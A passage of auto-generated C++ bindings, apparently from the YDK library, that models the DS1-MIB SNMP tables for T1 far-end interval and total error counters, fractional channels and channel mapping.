index<dsx1farendintervalentry.len(); index++) { if(dsx1farendintervalentry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1FarEndIntervalTable::has_operation() const { for (std::size_t index=0; index<dsx1farendintervalentry.len(); index++) { if(dsx1farendintervalentry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1FarEndIntervalTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FarEndIntervalTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FarEndIntervalTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FarEndIntervalTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FarEndIntervalTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1FarEndIntervalEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry>(); ent_->parent = this; dsx1farendintervalentry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FarEndIntervalTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1farendintervalentry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1FarEndIntervalTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1FarEndIntervalTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1FarEndIntervalTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FarEndIntervalEntry") return true; return false; } DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::Dsx1FarEndIntervalEntry() : dsx1farendintervalindex{YType::int32, "dsx1FarEndIntervalIndex"}, dsx1farendintervalnumber{YType::int32, "dsx1FarEndIntervalNumber"}, dsx1farendintervaless{YType::uint32, "dsx1FarEndIntervalESs"}, dsx1farendintervalsess{YType::uint32, "dsx1FarEndIntervalSESs"}, dsx1farendintervalsefss{YType::uint32, "dsx1FarEndIntervalSEFSs"}, dsx1farendintervaluass{YType::uint32, "dsx1FarEndIntervalUASs"}, dsx1farendintervalcsss{YType::uint32, "dsx1FarEndIntervalCSSs"}, dsx1farendintervalless{YType::uint32, "dsx1FarEndIntervalLESs"}, dsx1farendintervalpcvs{YType::uint32, "dsx1FarEndIntervalPCVs"}, dsx1farendintervalbess{YType::uint32, "dsx1FarEndIntervalBESs"}, dsx1farendintervaldms{YType::uint32, "dsx1FarEndIntervalDMs"}, dsx1farendintervalvaliddata{YType::boolean, "dsx1FarEndIntervalValidData"} { yang_name = "dsx1FarEndIntervalEntry"; yang_parent_name = "dsx1FarEndIntervalTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::~Dsx1FarEndIntervalEntry() { } bool DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::has_data() const { if (is_presence_container) return true; return dsx1farendintervalindex.is_set || dsx1farendintervalnumber.is_set || dsx1farendintervaless.is_set || dsx1farendintervalsess.is_set || dsx1farendintervalsefss.is_set || dsx1farendintervaluass.is_set || dsx1farendintervalcsss.is_set || dsx1farendintervalless.is_set || dsx1farendintervalpcvs.is_set || dsx1farendintervalbess.is_set || dsx1farendintervaldms.is_set || dsx1farendintervalvaliddata.is_set; } bool DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1farendintervalindex.yfilter) || ydk::is_set(dsx1farendintervalnumber.yfilter) || ydk::is_set(dsx1farendintervaless.yfilter) || ydk::is_set(dsx1farendintervalsess.yfilter) || ydk::is_set(dsx1farendintervalsefss.yfilter) || ydk::is_set(dsx1farendintervaluass.yfilter) || ydk::is_set(dsx1farendintervalcsss.yfilter) || ydk::is_set(dsx1farendintervalless.yfilter) || ydk::is_set(dsx1farendintervalpcvs.yfilter) || ydk::is_set(dsx1farendintervalbess.yfilter) || ydk::is_set(dsx1farendintervaldms.yfilter) || ydk::is_set(dsx1farendintervalvaliddata.yfilter); } std::string DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1FarEndIntervalTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FarEndIntervalEntry"; ADD_KEY_TOKEN(dsx1farendintervalindex, "dsx1FarEndIntervalIndex"); ADD_KEY_TOKEN(dsx1farendintervalnumber, "dsx1FarEndIntervalNumber"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (dsx1farendintervalindex.is_set || is_set(dsx1farendintervalindex.yfilter)) leaf_name_data.push_back(dsx1farendintervalindex.get_name_leafdata()); if (dsx1farendintervalnumber.is_set || is_set(dsx1farendintervalnumber.yfilter)) leaf_name_data.push_back(dsx1farendintervalnumber.get_name_leafdata()); if (dsx1farendintervaless.is_set || is_set(dsx1farendintervaless.yfilter)) leaf_name_data.push_back(dsx1farendintervaless.get_name_leafdata()); if (dsx1farendintervalsess.is_set || is_set(dsx1farendintervalsess.yfilter)) leaf_name_data.push_back(dsx1farendintervalsess.get_name_leafdata()); if (dsx1farendintervalsefss.is_set || is_set(dsx1farendintervalsefss.yfilter)) leaf_name_data.push_back(dsx1farendintervalsefss.get_name_leafdata()); if (dsx1farendintervaluass.is_set || is_set(dsx1farendintervaluass.yfilter)) leaf_name_data.push_back(dsx1farendintervaluass.get_name_leafdata()); if (dsx1farendintervalcsss.is_set || is_set(dsx1farendintervalcsss.yfilter)) leaf_name_data.push_back(dsx1farendintervalcsss.get_name_leafdata()); if (dsx1farendintervalless.is_set || is_set(dsx1farendintervalless.yfilter)) leaf_name_data.push_back(dsx1farendintervalless.get_name_leafdata()); if (dsx1farendintervalpcvs.is_set || is_set(dsx1farendintervalpcvs.yfilter)) leaf_name_data.push_back(dsx1farendintervalpcvs.get_name_leafdata()); if (dsx1farendintervalbess.is_set || is_set(dsx1farendintervalbess.yfilter)) leaf_name_data.push_back(dsx1farendintervalbess.get_name_leafdata()); if (dsx1farendintervaldms.is_set || is_set(dsx1farendintervaldms.yfilter)) leaf_name_data.push_back(dsx1farendintervaldms.get_name_leafdata()); if (dsx1farendintervalvaliddata.is_set || is_set(dsx1farendintervalvaliddata.yfilter)) leaf_name_data.push_back(dsx1farendintervalvaliddata.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1FarEndIntervalIndex") { dsx1farendintervalindex = value; dsx1farendintervalindex.value_namespace = name_space; dsx1farendintervalindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalNumber") { dsx1farendintervalnumber = value; dsx1farendintervalnumber.value_namespace = name_space; dsx1farendintervalnumber.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalESs") { dsx1farendintervaless = value; dsx1farendintervaless.value_namespace = name_space; dsx1farendintervaless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalSESs") { dsx1farendintervalsess = value; dsx1farendintervalsess.value_namespace = name_space; dsx1farendintervalsess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalSEFSs") { dsx1farendintervalsefss = value; dsx1farendintervalsefss.value_namespace = name_space; dsx1farendintervalsefss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalUASs") { dsx1farendintervaluass = value; dsx1farendintervaluass.value_namespace = name_space; dsx1farendintervaluass.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalCSSs") { dsx1farendintervalcsss = value; dsx1farendintervalcsss.value_namespace = name_space; dsx1farendintervalcsss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalLESs") { dsx1farendintervalless = value; dsx1farendintervalless.value_namespace = name_space; dsx1farendintervalless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalPCVs") { dsx1farendintervalpcvs = value; dsx1farendintervalpcvs.value_namespace = name_space; dsx1farendintervalpcvs.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalBESs") { dsx1farendintervalbess = value; dsx1farendintervalbess.value_namespace = name_space; dsx1farendintervalbess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalDMs") { dsx1farendintervaldms = value; dsx1farendintervaldms.value_namespace = name_space; dsx1farendintervaldms.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndIntervalValidData") { dsx1farendintervalvaliddata = value; dsx1farendintervalvaliddata.value_namespace = name_space; dsx1farendintervalvaliddata.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1FarEndIntervalIndex") { dsx1farendintervalindex.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalNumber") { dsx1farendintervalnumber.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalESs") { dsx1farendintervaless.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalSESs") { dsx1farendintervalsess.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalSEFSs") { dsx1farendintervalsefss.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalUASs") { dsx1farendintervaluass.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalCSSs") { dsx1farendintervalcsss.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalLESs") { dsx1farendintervalless.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalPCVs") { dsx1farendintervalpcvs.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalBESs") { dsx1farendintervalbess.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalDMs") { dsx1farendintervaldms.yfilter = yfilter; } if(value_path == "dsx1FarEndIntervalValidData") { dsx1farendintervalvaliddata.yfilter = yfilter; } } bool DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FarEndIntervalIndex" || name == "dsx1FarEndIntervalNumber" || name == "dsx1FarEndIntervalESs" || name == "dsx1FarEndIntervalSESs" || name == "dsx1FarEndIntervalSEFSs" || name == "dsx1FarEndIntervalUASs" || name == "dsx1FarEndIntervalCSSs" || name == "dsx1FarEndIntervalLESs" || name == "dsx1FarEndIntervalPCVs" || name == "dsx1FarEndIntervalBESs" || name == "dsx1FarEndIntervalDMs" || name == "dsx1FarEndIntervalValidData") return true; return false; } DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalTable() : dsx1farendtotalentry(this, {"dsx1farendtotalindex"}) { yang_name = "dsx1FarEndTotalTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FarEndTotalTable::~Dsx1FarEndTotalTable() { } bool DS1MIB::Dsx1FarEndTotalTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1farendtotalentry.len(); index++) { if(dsx1farendtotalentry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1FarEndTotalTable::has_operation() const { for (std::size_t index=0; index<dsx1farendtotalentry.len(); index++) { if(dsx1farendtotalentry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1FarEndTotalTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FarEndTotalTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FarEndTotalTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FarEndTotalTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FarEndTotalTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1FarEndTotalEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry>(); ent_->parent = this; dsx1farendtotalentry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FarEndTotalTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1farendtotalentry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1FarEndTotalTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1FarEndTotalTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1FarEndTotalTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FarEndTotalEntry") return true; return false; } DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::Dsx1FarEndTotalEntry() : dsx1farendtotalindex{YType::int32, "dsx1FarEndTotalIndex"}, dsx1farendtotaless{YType::uint32, "dsx1FarEndTotalESs"}, dsx1farendtotalsess{YType::uint32, "dsx1FarEndTotalSESs"}, dsx1farendtotalsefss{YType::uint32, "dsx1FarEndTotalSEFSs"}, dsx1farendtotaluass{YType::uint32, "dsx1FarEndTotalUASs"}, dsx1farendtotalcsss{YType::uint32, "dsx1FarEndTotalCSSs"}, dsx1farendtotalless{YType::uint32, "dsx1FarEndTotalLESs"}, dsx1farendtotalpcvs{YType::uint32, "dsx1FarEndTotalPCVs"}, dsx1farendtotalbess{YType::uint32, "dsx1FarEndTotalBESs"}, dsx1farendtotaldms{YType::uint32, "dsx1FarEndTotalDMs"} { yang_name = "dsx1FarEndTotalEntry"; yang_parent_name = "dsx1FarEndTotalTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::~Dsx1FarEndTotalEntry() { } bool DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::has_data() const { if (is_presence_container) return true; return dsx1farendtotalindex.is_set || dsx1farendtotaless.is_set || dsx1farendtotalsess.is_set || dsx1farendtotalsefss.is_set || dsx1farendtotaluass.is_set || dsx1farendtotalcsss.is_set || dsx1farendtotalless.is_set || dsx1farendtotalpcvs.is_set || dsx1farendtotalbess.is_set || dsx1farendtotaldms.is_set; } bool DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1farendtotalindex.yfilter) || ydk::is_set(dsx1farendtotaless.yfilter) || ydk::is_set(dsx1farendtotalsess.yfilter) || ydk::is_set(dsx1farendtotalsefss.yfilter) || ydk::is_set(dsx1farendtotaluass.yfilter) || ydk::is_set(dsx1farendtotalcsss.yfilter) || ydk::is_set(dsx1farendtotalless.yfilter) || ydk::is_set(dsx1farendtotalpcvs.yfilter) || ydk::is_set(dsx1farendtotalbess.yfilter) || ydk::is_set(dsx1farendtotaldms.yfilter); } std::string DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1FarEndTotalTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FarEndTotalEntry"; ADD_KEY_TOKEN(dsx1farendtotalindex, "dsx1FarEndTotalIndex"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (dsx1farendtotalindex.is_set || is_set(dsx1farendtotalindex.yfilter)) leaf_name_data.push_back(dsx1farendtotalindex.get_name_leafdata()); if (dsx1farendtotaless.is_set || is_set(dsx1farendtotaless.yfilter)) leaf_name_data.push_back(dsx1farendtotaless.get_name_leafdata()); if (dsx1farendtotalsess.is_set || is_set(dsx1farendtotalsess.yfilter)) leaf_name_data.push_back(dsx1farendtotalsess.get_name_leafdata()); if (dsx1farendtotalsefss.is_set || is_set(dsx1farendtotalsefss.yfilter)) leaf_name_data.push_back(dsx1farendtotalsefss.get_name_leafdata()); if (dsx1farendtotaluass.is_set || is_set(dsx1farendtotaluass.yfilter)) leaf_name_data.push_back(dsx1farendtotaluass.get_name_leafdata()); if (dsx1farendtotalcsss.is_set || is_set(dsx1farendtotalcsss.yfilter)) leaf_name_data.push_back(dsx1farendtotalcsss.get_name_leafdata()); if (dsx1farendtotalless.is_set || is_set(dsx1farendtotalless.yfilter)) leaf_name_data.push_back(dsx1farendtotalless.get_name_leafdata()); if (dsx1farendtotalpcvs.is_set || is_set(dsx1farendtotalpcvs.yfilter)) leaf_name_data.push_back(dsx1farendtotalpcvs.get_name_leafdata()); if (dsx1farendtotalbess.is_set || is_set(dsx1farendtotalbess.yfilter)) leaf_name_data.push_back(dsx1farendtotalbess.get_name_leafdata()); if (dsx1farendtotaldms.is_set || is_set(dsx1farendtotaldms.yfilter)) leaf_name_data.push_back(dsx1farendtotaldms.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1FarEndTotalIndex") { dsx1farendtotalindex = value; dsx1farendtotalindex.value_namespace = name_space; dsx1farendtotalindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalESs") { dsx1farendtotaless = value; dsx1farendtotaless.value_namespace = name_space; dsx1farendtotaless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalSESs") { dsx1farendtotalsess = value; dsx1farendtotalsess.value_namespace = name_space; dsx1farendtotalsess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalSEFSs") { dsx1farendtotalsefss = value; dsx1farendtotalsefss.value_namespace = name_space; dsx1farendtotalsefss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalUASs") { dsx1farendtotaluass = value; dsx1farendtotaluass.value_namespace = name_space; dsx1farendtotaluass.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalCSSs") { dsx1farendtotalcsss = value; dsx1farendtotalcsss.value_namespace = name_space; dsx1farendtotalcsss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalLESs") { dsx1farendtotalless = value; dsx1farendtotalless.value_namespace = name_space; dsx1farendtotalless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalPCVs") { dsx1farendtotalpcvs = value; dsx1farendtotalpcvs.value_namespace = name_space; dsx1farendtotalpcvs.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalBESs") { dsx1farendtotalbess = value; dsx1farendtotalbess.value_namespace = name_space; dsx1farendtotalbess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTotalDMs") { dsx1farendtotaldms = value; dsx1farendtotaldms.value_namespace = name_space; dsx1farendtotaldms.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1FarEndTotalIndex") { dsx1farendtotalindex.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalESs") { dsx1farendtotaless.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalSESs") { dsx1farendtotalsess.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalSEFSs") { dsx1farendtotalsefss.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalUASs") { dsx1farendtotaluass.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalCSSs") { dsx1farendtotalcsss.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalLESs") { dsx1farendtotalless.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalPCVs") { dsx1farendtotalpcvs.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalBESs") { dsx1farendtotalbess.yfilter = yfilter; } if(value_path == "dsx1FarEndTotalDMs") { dsx1farendtotaldms.yfilter = yfilter; } } bool DS1MIB::Dsx1FarEndTotalTable::Dsx1FarEndTotalEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FarEndTotalIndex" || name == "dsx1FarEndTotalESs" || name == "dsx1FarEndTotalSESs" || name == "dsx1FarEndTotalSEFSs" || name == "dsx1FarEndTotalUASs" || name == "dsx1FarEndTotalCSSs" || name == "dsx1FarEndTotalLESs" || name == "dsx1FarEndTotalPCVs" || name == "dsx1FarEndTotalBESs" || name == "dsx1FarEndTotalDMs") return true; return false; } DS1MIB::Dsx1FracTable::Dsx1FracTable() : dsx1fracentry(this, {"dsx1fracindex", "dsx1fracnumber"}) { yang_name = "dsx1FracTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FracTable::~Dsx1FracTable() { } bool DS1MIB::Dsx1FracTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1fracentry.len(); index++) { if(dsx1fracentry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1FracTable::has_operation() const { for (std::size_t index=0; index<dsx1fracentry.len(); index++) { if(dsx1fracentry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1FracTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FracTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FracTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FracTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FracTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1FracEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1FracTable::Dsx1FracEntry>(); ent_->parent = this; dsx1fracentry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FracTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1fracentry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1FracTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1FracTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1FracTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FracEntry") return true; return false; } DS1MIB::Dsx1FracTable::Dsx1FracEntry::Dsx1FracEntry() : dsx1fracindex{YType::int32, "dsx1FracIndex"}, dsx1fracnumber{YType::int32, "dsx1FracNumber"}, dsx1fracifindex{YType::int32, "dsx1FracIfIndex"} { yang_name = "dsx1FracEntry"; yang_parent_name = "dsx1FracTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FracTable::Dsx1FracEntry::~Dsx1FracEntry() { } bool DS1MIB::Dsx1FracTable::Dsx1FracEntry::has_data() const { if (is_presence_container) return true; return dsx1fracindex.is_set || dsx1fracnumber.is_set || dsx1fracifindex.is_set; } bool DS1MIB::Dsx1FracTable::Dsx1FracEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1fracindex.yfilter) || ydk::is_set(dsx1fracnumber.yfilter) || ydk::is_set(dsx1fracifindex.yfilter); } std::string DS1MIB::Dsx1FracTable::Dsx1FracEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1FracTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FracTable::Dsx1FracEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FracEntry"; ADD_KEY_TOKEN(dsx1fracindex, "dsx1FracIndex"); ADD_KEY_TOKEN(dsx1fracnumber, "dsx1FracNumber"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FracTable::Dsx1FracEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (dsx1fracindex.is_set || is_set(dsx1fracindex.yfilter)) leaf_name_data.push_back(dsx1fracindex.get_name_leafdata()); if (dsx1fracnumber.is_set || is_set(dsx1fracnumber.yfilter)) leaf_name_data.push_back(dsx1fracnumber.get_name_leafdata()); if (dsx1fracifindex.is_set || is_set(dsx1fracifindex.yfilter)) leaf_name_data.push_back(dsx1fracifindex.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FracTable::Dsx1FracEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FracTable::Dsx1FracEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1FracTable::Dsx1FracEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1FracIndex") { dsx1fracindex = value; dsx1fracindex.value_namespace = name_space; dsx1fracindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FracNumber") { dsx1fracnumber = value; dsx1fracnumber.value_namespace = name_space; dsx1fracnumber.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FracIfIndex") { dsx1fracifindex = value; dsx1fracifindex.value_namespace = name_space; dsx1fracifindex.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1FracTable::Dsx1FracEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1FracIndex") { dsx1fracindex.yfilter = yfilter; } if(value_path == "dsx1FracNumber") { dsx1fracnumber.yfilter = yfilter; } if(value_path == "dsx1FracIfIndex") { dsx1fracifindex.yfilter = yfilter; } } bool DS1MIB::Dsx1FracTable::Dsx1FracEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FracIndex" || name == "dsx1FracNumber" || name == "dsx1FracIfIndex") return true; return false; } DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingTable() : dsx1chanmappingentry(this, {"ifindex", "dsx1ds1channelnumber"}) { yang_name = "dsx1ChanMappingTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1ChanMappingTable::~Dsx1ChanMappingTable() { } bool DS1MIB::Dsx1ChanMappingTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1chanmappingentry.len(); index++) { if(dsx1chanmappingentry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1ChanMappingTable::has_operation() const { for (std::size_t index=0; index<dsx1chanmappingentry.len(); index++) { if(dsx1chanmappingentry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1ChanMappingTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1ChanMappingTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1ChanMappingTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1ChanMappingTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1ChanMappingTable::get_child_by_name(const std::string & child_yang_name, const std::string & 